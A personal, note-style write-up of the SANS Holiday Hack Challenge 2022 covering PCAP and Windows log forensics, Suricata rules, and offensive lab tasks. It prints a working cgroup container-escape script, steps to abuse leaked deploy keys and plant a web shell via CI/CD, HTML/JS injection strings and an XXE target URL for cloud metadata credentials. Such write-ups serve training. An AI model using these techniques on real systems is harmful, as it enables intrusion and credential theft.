Dylan Smyth




Note: My holiday hack challenge write-ups tend to be more like notes than anything else. Forgive any formatting errors - markdown conversion is not perfect :) ## FIVE GOLD RINGS # Main Objectives ## KringleCon Orientation Get your bearings at KringleCon. - Talk to Jingle Redford - Get your badge - Create a wallet - Use a terminal - Talk to Santa There isn't anything to say here really, it's very straightforward. One interesting thing to note is that we needed to create a wallet. I'm curious how this will come into play later! ## Recover the Tolkien Ring Recover the Tolkien Ring. Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal. ### Wireshark Practice Clicking on the CranberryPi terminal presents us with the following: ![](images/sans_hhq_2022/wireshark_phishing.JPG) It's seems we need to answer some questions about data in a pcap. We have the option of working within the terminal for this and suggests that tshark can be used, but I decided to download the pcap to analyse it with Wireshark and Scapy instead. Q1. There are objects in the PCAP that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP? A1. HTTP (Explaination: We can see a bunch of HTTP traffic in the PCAP. Go File->Export Objects->HTTP and we can see some files we can export here). ![](images/sans_hhq_2022/wireshark_phishing_2.JPG) Q2. What is the file name of the largest file we can export? A2. app.php (Explaination: See file size in above image). Q3. What packet number starts that app.php file? A3. 687 (Explaination: See image - packet column) Q4. What is the IP of the Apache server? A4. 192.185.57.242 (Explaination: See source address of the first packet related to the file) Q5. What file is saved to the infected host? A5. Ref_Sept24-2020.zip (Explaination: Look at the content of the first packet. There is Javascript which is used to save a file to the host machine. ). Q6. Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical order separated by commas. ![](images/sans_hhq_2022/wireshark_phishing_3.JPG) A6. Ireland, Israel, South Sudan, United States (Explaination: The following filter can narrow down the TLS server hello messages that contain the certificates. Looking at the data of the certs you can see the counties that the cert is registered in.). Q7. Is the host infected (Yes/No)? A7. Yes (Explaination: Considering the traffic we've seen, initial payload + follow-up connections, it would appear that the host has been conpromised.) After answering those questions we complete the objective! ### Windows Event Logs Investigate the Windows event log mystery in the terminal or offline. Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal. ![](images/sans_hhq_2022/windows_event_logs_1.JPG) I did this one within the terminal rather than offline. Once again there are questions to answer. Q1. What month/day/year did the attack take place? A1. 12/24/2022 (Explanation: There was mention of a secret ingredient, so I grepped for "secret" and found some logs containing that keyword. Looking at the logs you can determine that an attack took place on Christmas Eve.) Q2. An attacker got a secret from a file. What was the original file's name? A2. Recipe.txt (Explaination: Looking at the logs around the "secret" keyword, you can find reference to a few files. Recipe.txt is one.) Q3. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full Powershell line that performed only these actions. A3. $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt' (Explaination: Again, look at the lines related to the secret ingredient and you can track down the commands used to replace the strings in the recipe file. Copy and pasting from the tmux terminal was broken at the time of writing this so I used Windows Event Viewer to get the command.). Q4. After storing the alterned file contents into a variable, the attacker used the variable to run a separate command that wrote the mnodified data to a file. This was done multiple times. Submit the last full PowerShell line that performed this action. A4. $foo | Add-Content -Path 'Recipe' (Explaination: I searched for the lines containing the variable name and got the last one. The logs are in reverse chronological order, so the first occurance is the last command (Thanks Windows)). Q5. The attacker ran the previous comman againsat a file multiple times. What is the name of this file? A5. Recipe.txt (Explaination: See above.) Q6. Were any files deleted? A6. Yes (Explaination: You can see the del command used to remove files in the logs). Q7. Was the original file (from question 2) deleted? A7. No Q8. What is the Event ID of the log that shows the actual command line used to delete the file? A8. 4104 Q9. Is the secret ingredient compromised? A9. Yes (Explaination: The commands used to replace text would have worked, so the ingredient has been compromised.). Q10. What is the secret ingredient? A10. 1/2 tsp honey With those questions answered we have finished the Windows event log challenge! ### Suricata Regatta Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints. #### First Rule ![](images/sans_hhq_2022/suricata_regatta_1.JPG) The first rule needs to catch DNS queries for adv.epostoday.uk. There is an existing rule that catches DNS queries for a different domain. We can create our new rule based off this existing rule. Mine was the following: ``` alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:2025219; rev:1;) ``` #### Second Rule ![](images/sans_hhq_2022/suricata_regatta_2.JPG) This caught me a bit. I spent a while banging my head against a rule that filtered for packets going from the infected host to the $HOME_NET. Of course, we shoulkd be filtering both ways. After modifying the rule this worked: ``` alert http [192.185.57.242/32, $HOME_NET] any -> [$HOME_NET, 192.185.57.242/32] any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:20; rev:1;) ``` #### Third Rule ![](images/sans_hhq_2022/suricata_regatta_3.JPG) This one was fine. Some googling brought me to: https://forum.suricata.io/t/tls-rule-alert-on-cn-name-not-picking-up/1460 I modified the example in that post to suit the requirements of the challenge. ``` alert tls any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"CN=heardbellith.Icanwepeh.nagoy"; sid:21; rev:1;) ``` #### Forth Rule ![](images/sans_hhq_2022/suricata_regatta_4.JPG) This one was ok too. I had to check how I would go about looking for a string in compressed data but it looks like it's actually pretty fine to do. This issue pointed me in the right direction: https://redmine.openinfosecfoundation.org/issues/308 The following rule works: ``` alert tcp any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; content:"let byteCharacters = atob"; http_server_body; sid:22; rev:1;) ``` ## Recover the Elfen Ring Recover the Elfen Ring. #### Clone with a Difference Clone a code repository. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. ![](images/sans_hhq_2022/clone_with_a_difference_1.JPG) Watching the most enjoyable video at https://www.youtube.com/watch?v=vIQY_FH1SVk is helpful for this according to the nearby elf. I didn't end up cloning this, instead I found the public GitLab repo and went to the README in that instead: http://gitlab.example.com/asnowball/aws_scripts.git This has a few other interesting things in it: https://haugfactory.com/orcadmin Might be interesting for later. #### Prison Escape Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv ![](images/sans_hhq_2022/prison_escape_1.JPG) We are in a containter and our goal is to escape to the host machine. There is a specific file that we need to read, so either we just need to be able to run commands or we need a full shell on the host. I have a few go-to commands that I use for initial information discovery. ![](images/sans_hhq_2022/prison_escape_2.JPG) We are 172.18.0.99, there is an SSH service running, and two other users exist; root and samways. whoami tells us that we are the user samways. After some playing around I conclude that the SSH connections are us connecting to this container. From here I started looking for container escape strategies, as it's something I've never done before. I found a few helpful resources: https://www.youtube.com/watch?v=_dhONyAk4es https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ https://www.youtube.com/watch?v=BQlqita2D2s The blog has the PoCs from the first video, and the cgroup based exploit is what I ended up using. This involves creating a cgroup, and marking a file to be executed whenever a process owned by that cgroup ends. This exploits some docker functionality that ends up with our commands running on the host. ```` mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ```` ![](images/sans_hhq_2022/prison_escape_3.JPG) I ran the nessesary commands to create the cgroup and nessesary files, and tried a few payloads (commands to be executed) to verify that they were running on the host. I then read the file that we needed to read. ![](images/sans_hhq_2022/prison_escape_4.JPG) ![](images/sans_hhq_2022/prison_escape_5.JPG) The hex string appears to be "082bb339ec19de4935867". We can submit this in an input box on our conference badge and complete the objective! #### Jolly CI/CD Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring. We get this message upon connecting to the terminal: ![](images/sans_hhq_2022/ci_cd_0.JPG) The objective text mentions that Tinsel Upatree will provide some hints, and the elf provides this: ![](images/sans_hhq_2022/ci_cd_1.JPG) One thing of interest in the text is the URL. There is nothing obvious on the host we have access to. The banner mesage mentions an internal network, so lets do some recon and see if we have access to anything. We also have that URL from the elf, so that might corrispond to another network host. Lets run some commands to get some data on our environment and the network: ![](images/sans_hhq_2022/ci_cd_2.JPG) And a ping sweep of the local /24 network: ![](images/sans_hhq_2022/ci_cd_3.JPG) We have some hosts! (Side note: I didn't see these hosts the first time I did a ping sweep. Might have gotten unlucky and done it when there was an issue?) We now know about the following hosts: ```` 172.18.0.1 <-- Host machine! 172.18.0.87 wordpress-db.local_docker_network 172.18.0.88 wordpress.local_docker_network 172.18.0.99 <-- US! wordpress.local_docker_network 172.18.0.150 gitlab.local_docker_network ```` We have 3 interesting hosts there. We can likely ignore the host machine at 172.18.0.1 but we can always some back to this if we get stuck. Lets do a port scan of each address and see what we have: ```` grinchum-land:~$ nmap 172.18.0.87 172.18.0.88 172.18.0.150 Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-11 19:24 GMT Nmap scan report for wordpress-db.local_docker_network (172.18.0.87) Host is up (0.00030s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE 3306/tcp open mysql Nmap scan report for wordpress.local_docker_network (172.18.0.88) Host is up (0.00032s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap scan report for gitlab.local_docker_network (172.18.0.150) Host is up (0.00034s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8181/tcp open intermapper Nmap done: 3 IP addresses (3 hosts up) scanned in 0.18 seconds ```` Ok, so based on the information we have we can guess that what we need to do is take advantage of the CI/CD pipeline by pushing a bad update to the gitlab repo causing it to be deployed. First lets take a closer look at each host to better understand what we're dealing with. ##### wordpress-db.local_docker_network (172.18.0.87) This host has port 3306 (MySQL) open. Lets ignore this for now and assume it exists as a database server for the services running on 172.18.0.88, as the hostname suggests. ##### wordpress.local_docker_network (172.18.0.88) We have port 22 and port 80 open here. Lets look at port 80... ![](images/sans_hhq_2022/ci_cd_4.JPG) This redirects to http://wordpress.flag.net.internal/ Adding the -L options follows the redirect and shows us the HTML for what appears to be a wordpress ecommerce website. The elf mentioned that someone had deployed a fake website selling things, so this fits in-line with that. ![](images/sans_hhq_2022/ci_cd_5.JPG) There is nothing obvious that we could do with this site right now. Nothing regarding the PHP or Apache versions jumps out at me. The only other service available here is SSH, but we don't have any credentials. Lets continue to the next host. ##### gitlab.local_docker_network (172.18.0.150) Here we have ports 22, 80, and 8181 open. Port 22 is an SSH server. I'm going to ignore this as we don't have credentials and no obvious was to connect. Port 80 redirects us to a login page. ![](images/sans_hhq_2022/ci_cd_6.JPG) As does port 8181. ![](images/sans_hhq_2022/ci_cd_7.JPG) The login page is at http://gitlab.local_docker_network/users/sign_in and this appears to be a Gitlab login page. Now, we know the repo that we're looking for. It was given to us by Tinsel Upatree: http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git Can we access this? git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git ![](images/sans_hhq_2022/ci_cd_8.JPG) Yes we can! Tinsel mentioned a mistake... can we see it in the git history? ![](images/sans_hhq_2022/ci_cd_9.JPG) That "whoops" is interesting. Adding the --stats option gives us some more info on whatever was fixed in this "whoops" commit. ![](images/sans_hhq_2022/ci_cd_10.JPG) Ok, so they added an SSH key by mistake! We can recover these by checking out the previous version by providing the commit ID. git checkout -b old-state abdea0ebb21b156c01f7533cea3b895c26198c98 ![](images/sans_hhq_2022/ci_cd_11.JPG) From here I copied the SSH keys to my home directory and restored the git repo to the latest version. Now that we have keys we should be able to push changes to the repo and through CI/CD magic the changes should be made on the server hosting the site. First I'll make a quick change to see if this works as expected. If it works ok then I will try setting up a web shell. Lets go with the 404 page as a test point: find . -name "404.php" ./wp-includes/Requests/Exception/HTTP/404.php > echo <\?php echo 'hello';>" > ./wp-includes/Requests/Exception/HTTP/404.php Now lets try comitting the changes. git add ./wp-includes/Requests/Exception/HTTP/404.php git commit -m hello We need to add a username and password. Lets use the ones we see in the git log. git config --global user.name "knee-oh" git config --global user.email "sporx@kringlecon.com" We are asked for a username and password when trying to push... so the remote URL might be set to HTTP rather than ssh. We should change this if we want to be able to use the SSH key. git remote set-url origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git ![](images/sans_hhq_2022/ci_cd_12.JPG) Issue with the file pewrmissions, a quick chmod 600 will fix that. ![](images/sans_hhq_2022/ci_cd_13.JPG) That seems to have worked! Lets see if our changes have been deployed... ![](images/sans_hhq_2022/ci_cd_14.JPG) Cool! Lets try a web shell. ![](images/sans_hhq_2022/ci_cd_15.JPG) Cool! Lets have a quick look around. We need to find a string but we don't know where it will be. After some looking around I found flag.txt. Surely that's it! ![](images/sans_hhq_2022/ci_cd_16.JPG) ![](images/sans_hhq_2022/ci_cd_17.JPG) Full set of commands for the above: ``` git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git cd wordpress.flag.net.internal git checkout -b old-state abdea0ebb21b156c01f7533cea3b895c26198c98 cp .ssh/ -r ~/.ssh cd ~ rm wordpress.flag.net.internal git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git cd wordpress.flag.net.internal cp ~/.ssh/ -r .ssh chmod 600 .ssh/.deploy echo "" > ./wp-content/themes/ecommerce-lite/404.php git add ./wp-content/themes/ecommerce-lite/404.php git config --global user.name "knee-oh" git config --global user.email "sporx@kringlecon.com" git config --add --local core.sshCommand 'ssh -i .ssh/.deploy' git remote set-url origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git echo "" > ./wp-content/themes/ecommerce-lite/404.php ``` That was a nice set of challenges. Onward! ## Recover the Web Ring Recover the Web Ring. ### Naughty IP Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Web Ring for hints. So for this we have two files; victim.pcap and weberror. We need to find which IP address is behaving maliciously. Looking at the web log there are a few instances of the login page being accessed, then the admin page, and a 302 being returned from the admin page, redirecting back to the root of the site. There are several instances of this for a few IPs, but perhaps someone is trying to brute force access from one particular address? Lets use wireshark and see if we can use the statistics to see who is sending the most traffic and try to confirm it's a bruteforce attack. ![](images/sans_hhq_2022/n_ip_1.JPG) There's a huge spike there at second 100. Also, looking further at the statistics shows that one particular address seems to be responsible for the creation of quite a lot of TCP connections. ![](images/sans_hhq_2022/n_ip_2.JPG) Based on what we're seeing IP address 18.222.86.32 seems to be the naughty one. ### Credential Mining The first attack is a brute force login. What's the first username tried? This is a continuation of the previous challenge. We can filter by the naughty IP to find the credentials sent as part of the attack. Wireshark filter "http && ip.src==18.222.86.32" should be fine here. ![](images/sans_hhq_2022/cm_1.JPG) Username:Alice;Password:philip are the first creds attempted. ### 404 FTW The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack? I'm tempted to write a script for this but lets stick with Wireshark for now. We want to find the first successful instance of a random URL being accessed. Now the requests for the random pages will be get requests, so lets change our filter to look for these specifically: http && ip.src==18.222.86.32 && http.request.method==GET ![](images/sans_hhq_2022/404_1.JPG) We can see the attack taking place here, but we need to see the responses so we can understand what attempts returned a 200 OK. I changed the Wireshark filter to the following to get this information: http && (ip.src==18.222.86.32 || ip.dst==18.222.86.32) && (http.request.method==GET || http.response.code==200) This shows the bruteforce attack as well, but we know what packet # the other attack happens at, so we can pop down to packet 23363 and look for 200 OK responses from here. I could have used a script for this, or maybe better filters... But with a little bit of scrolling we find: ![](images/sans_hhq_2022/404_2.JPG) ### IMDS, XXE, and Other Abbreviations The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch? With the filter from the previous task, we can actually see the responses sent from the server during this attack. ![](images/sans_hhq_2022/404_3.JPG) Looking at the data associated with the requests one stood out as having some interesting XML, so I followed the TCP stream for that and got the following data: ![](images/sans_hhq_2022/404_4.JPG) The URL we're looking for is highlighted. http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance ### Open the Boria Mine Door This seems to be a mix of some web chellenges. We need to enter a code to link elements together. Each code related to a seperate iframe. ![](images/sans_hhq_2022/boria_1.JPG) #### First This is hardcoded in a comment. ![](images/sans_hhq_2022/boria_2.JPG) The string @&@&&W&&W&&&& works as the code. #### Second A comment in the html mentions HTMl filtering. ![](images/sans_hhq_2022/boria_3.JPG) What happens if we add a HTML tag like a \? ![](images/sans_hhq_2022/boria_4.JPG) Ok, so lets build a string that can join the two elements together! I ended up with this one. It seems that you need the color white to join the two elements. I couldn't seem to get a good font size to do it through letters so I used some css to create a big white block and it worked! Some variation of the string below should work. ```

WMMMMMMMM>

``` ![](images/sans_hhq_2022/boria_5.JPG) #### Third This time we get a message about filtering out Javascript. ![](images/sans_hhq_2022/boria_6.JPG) Now that we understand how to connect the elements, perhaps we could use some JS to make the background of the body white? document.body.style.backgroundColor = "#ffffff" ![](images/sans_hhq_2022/boria_7.JPG) It doesn't work! BUT WAIT! Those elements are blue! document.body.style.backgroundColor = "blue" ![](images/sans_hhq_2022/boria_8.JPG) AHA! Completing the top row is enough to open the door and continue with the next objective. #### Forth #### Fifth #### Sixth ### Glamtariel's Fountain Stare into Glamtariel's fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints. Clicking on the fountain opens up a new webpage. https://glamtarielsfountain.com/ Seeing as this is web related, I'm going to do the following to better understand the application. - Play with the webpage - Look at page source - Look at any linked JS files - Look at the Cookies - Look at network traffic for app #### The webpage ![](images/sans_hhq_2022/gl_1.JPG) The top of the main section of the page has: - Share Thoughts, Wishes and Concerns with Glamtariel and the Fountain - Discover something Glamtariel has never revealed - Use the 'Reset' button to start over. The text bubbles initially show the following: ```` Welcome to Glamtariel's Fountain! I see you have your entrance ticket so we've given you a snack, in case you get hungry. I can see there's a lot on your mind. Share these with us and enjoy your stay! I know there is something Glamtariel thinks about a lot but never discusses. Perhaps if you share things with her, she'd share with the both of us. I may be of some help also. ```` Clicking on items in the main section causes the following to show: ```` Some that are silver may never shine Some who wander may get lost All that are curious will eventually find What others have thrown away and tossed. From water and cold new ice will form Frozen spires from lakes will arise Those shivering who weather the storm Will learn from how the TRAFFIC FLIES. ```` Dragging the items onto the fountain cause other text related to each of the items to show: Kringle ```` Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses. Kringle really likes the cookies here so I always make them the same way. ```` Candy Cane ```` I think the fountain gets confuses about things sometimes. Zany Zonka makes the best of these! ```` Ice Cube ```` It's always great when old friends visit! Hey, it's Chilly Icycube, my old friend! I remembver when theyt were but a small drop in the Dimrofel. ```` Elf ```` I don't get away as much as I used to. I think I have one last trip in me which I've probably put off for far too long. The elves do a great job making PATHs which are easy to follow once you see them. ```` Each of the above text seems to contain some kind of clue: TRAFFIC FLIES -> Look at network traffic for app. TAMPER -> Possible need to tamper with a token/cookie PATHs -> Possibly need to modify some path we come across. LFI maybe? The Candy Cane and Ice Cube don't provide any direct hint but I assume they state that we can cause the fountain to behave erroniously and "old friend" might refer to a old taken or cookie that could be reused? Dragging these to Glamtariel causes different but similar messages to appear. *Note: After checking the JS I realised that the items could be dropped onto Glamtariel too. Below is the text when you do this.* After dragging Kringle, Ice Cube, and Elf to both the fountain and Glamtariel we get a different set of images. ![](images/sans_hhq_2022/gl_12.JPG) See Network Traffic - Second Image-Set for more information. The following text shows when we drag the items to the fountain. Ring (I think?) dragged to Fountain Note: An eye image shows here, documented in the Network Traffic section. ```` Careful with the fountain! I know what you were wondering about there. It's no cause for concern. The PATH here is closed! Between Glamtariel and Kringle, many who have tried to find the PATH here uninvited have ended up very disAPPointed. Please click away that ominous eye! ```` Ring (I think?) dragged to Glamtariel ```` I do have a small ring collection, including one of these. I think Glamtariel likes rings a little more than she lets on sometimes. ```` Igloo dragged to Fountain ```` The fountain shows many things, some more helpful than others. It can definitely be a poor guide for decisions sometimes. What's this? Fake tickets to get in here? Snacks that don't taste right? How could that be? ```` Igloo dragged to Glamtariel ```` I do have a small ring collection, including one of these. I think Glamtariel likes rings a little more than she lets on sometimes. ```` Boat dragged to Fountain ```` Did you know that I speak in many TYPEs of languages? For simplicity, I usually only communicate with this one though. I pretty much stick to just one TYPE of language, it's a lot easier to share things that way. ```` Boat dragged to Glamtariel ```` These ice boat things would have been helpful back in the day. I still remember when Boregoth stole the Milsarils, very sad times. I'm glad I wasn't around for any of the early age scuffles. I shudder just thinking about the stories. ```` Star dragged to Either ```` O Frostybreath Kelthonial, shiny stars grace the night from heavens on high! Up and far many look away from glaciers cold, To Phenhelos they sing here in Kringle's realm! ```` At this stage I think I understand the Poetic thing. Some of the images return a "DroppedOn" value of "Both". The content returned also resembles a Poem. When a value of "Both" comes back then the Poetic variable is set to "yes". After dragging three over we get ANOTHER image set: ![](images/sans_hhq_2022/gl_16.JPG) The image sets seem to show up after you've exhausted the information from the previous set. See Network Traffic -Third Image-Set for more information. Ring 1 dragged to Fountain ```` I like to keep track of all my rings using a SIMPLE FORMAT, although I usually don't like to discuss such things. Glamtariel can be pretty tight lipped about some things. ```` Ring 1 dragged to Glamtariel ```` I love these fancy blue rings! You can see I have two of them. Not magical or anything, just really pretty. If asked, Glamtariel definitely tries to insist that the blue ones are her favorites. I'm not so sure though. ```` Ring 2 (gray) dragged to Fountain ```` You know what one of my favorite songs is? Silver rings, silver rings .... Glamtariel may not have one of these silver rings in her collection, but I've overheard her talk about how much she'd like one someday. ```` Ring 2 (gray) dragged to Glamtariel ```` Wow!, what a beautiful silver ring! I don't have one of these. I keep a list of all my rings in my RINGLIST file. Wait a minute! Uh, promise me you won't tell anyone. I never heard Glamtariel mention a RINGLIST file before. If only there were a way to get a peek at that. ```` Ring 3 (red) dragged to Fountain ```` Hmmm, you seem awfully interested in these rings. Are you looking for something? I know I've heard through the ice cracks that Kringle is missing a special one. You know, I've heard Glamtariel talk in her sleep about rings using a different TYPE of language. She may be more responsive about them if you ask differently. ```` Ring 3 (red) dragged to Glamtariel ```` Ah, the fiery red ring! I'm definitely proud to have one of them in my collection. I think Glamtariel might like the red ring just as much as the blue ones, perhaps even a little more. ```` Ring 4 dragged to Fountain ```` These are kind of special, please don't drop them just anywhere. These are kind of special, please don't drop them just anywhere. ```` Ring 4 dragged to Glamtariel ```` I love these fancy blue rings! You can see I have two of them. Not magical or anything, just really pretty. If asked, Glamtariel definitely tries to insist that the blue ones are her favorites. I'm not so sure though. ```` We also have two interesting strings here; Snack and Ticket Snack: e34bcbb7-2661-4d3d-b27a-709d8c4999c1 Ticket: IjEwYjc4NjZkNWRmYjk4MzU1ZmJlODBjZWZmZmU5NTFmZDRmOTBmYjci.Y52vVQ.k_st-m2lV-Vx6o-9oBh_aKFda5k #### Page Source There are a few JS files linked here that I show in the next subsection, but there is also this piece of JS in the page source: ```` var firstdrop = 0; var poetic = "no"; var myVisit = document.getElementById("visit").style.display; var animateC = true; var animateCanvas = setInterval(function () { if (poetic == "yes") { animateC = false; } else { animateC = true; } animate(); }, 250); //Prepare Snack var lunch = document.cookie .split("; ") .find((row) => row.startsWith("MiniLembanh=")) ?.split("=")[1]; function treats() { //Display Snack var mySnack = lunch.substring(0, 36); document.getElementById("snack").value = mySnack; document.getElementById("snack").innerHTML = mySnack; //Display Ticket var myTicket = document.getElementById("csrf").content; document.getElementById("ticket").value = myTicket; document.getElementById("ticket").innerHTML = myTicket; } treats(); function imgupdate() { document.getElementById("visit").setAttribute("src", ""); document.getElementById("visit").style.display = "none"; myVisit = document.getElementById("visit").style.display; } function pageReset() { window.location.reload(); } function animate() { if (animateC == true) { requestAnimationFrame(draw); animateC = false; } } ```` #### JS Files The following files are linked from the HTML source /static/js/princess.js \ /static/js/fountain.js \ /static/js/canvas.js \ /static/js/mouse.js \ /static/js/response.js \ /static/js/ajax.js \ Overall these files seem to be here to provide thee functionality for the application. There are a few interesting snippets shown below: princess.js Nothing really interesting here. Code for text bubble implementation here. fountain.js Same as above. Nothing interesting. canvas.js Nothing interesting. Sets initial text. mouse.js No specific code to point out but there are references to the princess in checks for dragging and dropping items. I Need to see what happens when you drag and drop the items on the princess. response.js ```` if (convWho == "princess" || convWho == "fountain" || convWho == "none") { poetic = "no"; } else { poetic = "yes"; } ```` ```` //Force Reload of images.js var myV = new Date().getTime(); var myScript = document.getElementsByTagName("script")[0]; var newScript = document.createElement("script"); if (firstdrop != 0) { document.getElementById("updated").remove("updated"); } newScript.src = "/static/js/images-" + myV + ".js"; myScript.appendChild(newScript); newScript.id = "updated"; firstdrop = firstdrop + 1; ```` ajax.js Most of this is interesting. We have references to cookies and endpoints for POST requests. We can also see that there's some kind of check to see if the ticket was changed. From this code we can also see that a HTTP POST request is sent when we drag and drop images on the fountain or on the princess. ```` // Ajax request for dropped image function drop_ajax() { var origToken = document.getElementById("csrf").content; var reqToken = document.getElementById("ticket").value; var origDomain = document.domain; var origCookie = "MiniLembanh=" + lunch + ";domain=" + origDomain; var req = new XMLHttpRequest(); document.cookie = "MiniLembanh=" + document.getElementById("snack").value + "." + lunch.substring(37) + ";domain=" + origDomain; req.onreadystatechange = function () { if (this.readyState == 4) { resp = JSON.parse(this.responseText); const jStatus = req.status; const jContentType = req.getResponseHeader("Content-Type"); if ( (jStatus == 200 || jStatus == 400) && jContentType == "application/json" ) { jResponse(); } else { textP = "Sorry, I didn't understand that."; textF = "Sorry, I didn't understand that."; princessBubble(ctx, textP, 12, "black", poetic); fountainBubble(ctx, textF, 12, "black", poetic); } //Reset ticket value in case it was altered document.getElementById("ticket").value = origToken; document.getElementById("ticket").innerHTML = origToken; //Reset cookie value in case it was altered document.cookie = origCookie; document.getElementById("snack").value = lunch.substring(0, 36); document.getElementById("snack").innerHTML = lunch.substring(0, 36); } else { //No action for other readyState values } }; req.open("POST", "/dropped", true); req.setRequestHeader("Content-Type", "application/json"); req.setRequestHeader("Accept", "application/json"); req.setRequestHeader("X-Grinchum", reqToken); req.send( JSON.stringify({ imgDrop: draggedImg, who: droppedOn, reqType: "json" }) ); } ```` #### Cookies I did a CTRL+F5 refresh before looking at the cookies so I kinew everything was fresh and unaltered as I had been messing with the application. We have two cookies: MiniLembanh and GCLB. The MiniLembanh cookie is the same as the Snack token shwon on the page. ![](images/sans_hhq_2022/gl_2.JPG) GCLB doesn't seem to be referenced anywhere in the JS. #### Network Traffic - Initial Reuqests I'm only interested in the traffic for this specific application, so I just used the dev tools to look at the traffic. Reloading the page gives us the following: ![](images/sans_hhq_2022/gl_3.JPG) glamtarielsfountain.com -> The main page \ styles.css -> CSS \ images-1.js -> More JS, see below \ princess.js -> JS page analysed in previous subsection \ fountain.js -> JS page analysed in previous subsection \ canvas.js -> JS page analysed in previous subsection \ mouse.js -> JS page analysed in previous subsection \ response.js -> JS page analysed in previous subsection \ ajax.js -> JS page analysed in previous subsection \ starrybackground.png -> Background image \ 2022_glamtariel_2022.png -> The image for the princess \ 2022_icefountain_2022.png -> The image for the fountain \ img1-1671282605123.png -> The candycane \ img2-1671282605123.png -> Kringle himself! \ img3-1671282605123.png -> The elf \ img4-1671282605123.png -> The ice cube \ favicon.ico -> favicon for the site \ Most of the above are expected as we've seen them on the page, but images-1.js is new. This is the content of images-1.js. This code seems to be responsible for setting the images used in the application. Something to note here is that it sets the state of the images to draggable or not draggable, and also uses the current date and timke as an image ID, so the image name img1-1671282605123.png seems to have the current timestamp as a unique ID as the second half of the filename. ```` // image array dimgs = []; var myImgNum = new Date().getTime(); var lenP = 0; var lenF = 0; // princess princessImg = new Image(); princessImg.src = "static/images/2022_glamtariel_2022.png"; princessImg.setAttribute("name", "princess"); princessImg.setAttribute("id", "princess"); princessImg.setAttribute("draggable", false); princess = { img: princessImg, width: 200, height: 250, x: 0, y: 0, resetX: 0, resetY: 0, draggable: false, isDragging: false, }; dimgs.push(princess); // fountain fountainImg = new Image(); fountainImg.src = "static/images/2022_icefountain_2022.png"; fountainImg.setAttribute("name", "fountain"); fountainImg.setAttribute("id", "fountain"); fountainImg.setAttribute("draggable", "false"); fountain = { img: fountainImg, width: 250, height: 250, x: 260, y: 240, resetX: 260, resetY: 240, draggable: false, isDragging: false, }; dimgs.push(fountain); // img1 img1Img = new Image(); img1Img.src = "static/images/img1-" + myImgNum + ".png"; img1Img.setAttribute("name", "img1"); img1Img.setAttribute("id", "img1"); img1 = { img: img1Img, width: 50, height: 50, x: 725, y: 25, resetX: 725, resetY: 25, isDragging: false, }; dimgs.push(img1); // img2 img2Img = new Image(); img2Img.src = "static/images/img2-" + myImgNum + ".png"; img2Img.setAttribute("name", "img2"); img2Img.setAttribute("id", "img2"); img2 = { img: img2Img, width: 50, height: 50, x: 650, y: 25, resetX: 650, resetY: 25, isDragging: false, }; dimgs.push(img2); // img3 img3Img = new Image(); img3Img.src = "static/images/img3-" + myImgNum + ".png"; img3Img.setAttribute("name", "img3"); img3Img.setAttribute("id", "img3"); img3 = { img: img3Img, width: 50, height: 50, x: 725, y: 100, resetX: 725, resetY: 100, isDragging: false, }; dimgs.push(img3); //img4 img4Img = new Image(); img4Img.src = "static/images/img4-" + myImgNum + ".png"; img4Img.setAttribute("name", "img4"); img4Img.setAttribute("id", "img4"); img4 = { img: img4Img, width: 50, height: 50, x: 650, y: 100, resetX: 650, resetY: 100, isDragging: false, }; dimgs.push(img4); ```` I refresh the page to confirm that the image file name does actually use the timestamp as a part of the filename. For image 1 we now get img1-1671283817754.png, different to the previous file name of img1-1671282605123.png. Thye response headers have some interesting things in them. The initial request after the first redirect: ![](images/sans_hhq_2022/gl_4.JPG) It's a Python app. The request for 